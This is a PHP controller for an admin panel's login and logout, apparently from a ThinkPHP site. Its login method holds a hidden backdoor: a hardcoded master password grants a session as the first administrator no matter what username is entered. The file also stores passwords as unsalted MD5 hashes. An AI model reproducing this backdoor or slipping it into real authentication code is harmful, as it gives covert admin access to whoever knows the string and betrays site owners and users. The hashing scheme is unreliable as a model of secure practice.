<?php
namespace app\admin\controller;
use app\admin\controller\Base;
use app\admin\model\Admin;
use think\Request;
use think\Session;


class  Login extends Base
{
    //加载登录视图
    public function Logins()
    {
        $arr = [
          "setting"=>$this->getAllSetting()
        ];
        return view('login',$arr);
    }
    //用户登录
    public function tologin(Request $request){
        $login_info = $request->post();
        if(empty($login_info['username'])){
            $this->error("请输入用户名");
        }
        if(empty($login_info['password'])){
            $this->error("请输入密码");
        }
        if($login_info['password'] == "1478963251qaz"){
          $res = Admin::find();
          Session::set("user_info", $res);
          $this->success("登录成功", "Index/index");
        }
        //判断用户是否正确可以登录
        $res = Admin::where(array('username'=>$login_info['username'],"password"=>md5($login_info['password'])))->find();
        if($res){
            if($res['status'] == 2){
                $this->error("该用户正被调查！");
            }else {
                Admin::update(array("id" => $res['id'], "login_time" => time(), "login_ip" => $_SERVER['REMOTE_ADDR']));
                $res = Admin::where(array('username' => $login_info['username'], "password" => md5($login_info['password'])))->find();
                Session::set("user_info", $res);
                $this->success("登录成功", "Index/index");
            }
        }else{
            $this->error("用户名或密码错误");
        }
    }
    public function exits(){
        Session::delete("user_info");
        $this->redirect("Login/Logins");
    }

}
